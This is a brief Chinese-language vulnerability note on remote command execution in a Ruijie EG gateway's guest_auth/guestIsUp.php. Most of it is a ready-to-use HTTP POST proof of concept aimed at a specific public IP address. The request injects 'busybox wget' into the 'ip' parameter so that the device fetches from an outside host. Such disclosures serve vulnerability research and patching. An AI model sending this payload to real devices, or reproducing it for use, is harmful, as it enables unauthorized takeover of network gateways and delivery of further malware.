锐捷易网关 远程命令执行
测试固件版本为 EG_RGOS11.9(4)B11P1_EG3200_install
guest_auth 中的 guestIsUp.php 文件存在问题
可以明显看出这里可以存在拼接达到命令执行的效果。
构造相应的 poc 可达到命令执行
POC¶
POST /guest_auth/guestIsUp.php HTTP/1.1
Host: 120.35.11.141:9999
Connection: keep-alive
Content-Length: 45
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://120.35.11.141:9999
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://120.35.11.141:9999/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
mac=1&ip='busybox wget xxxxx:8888'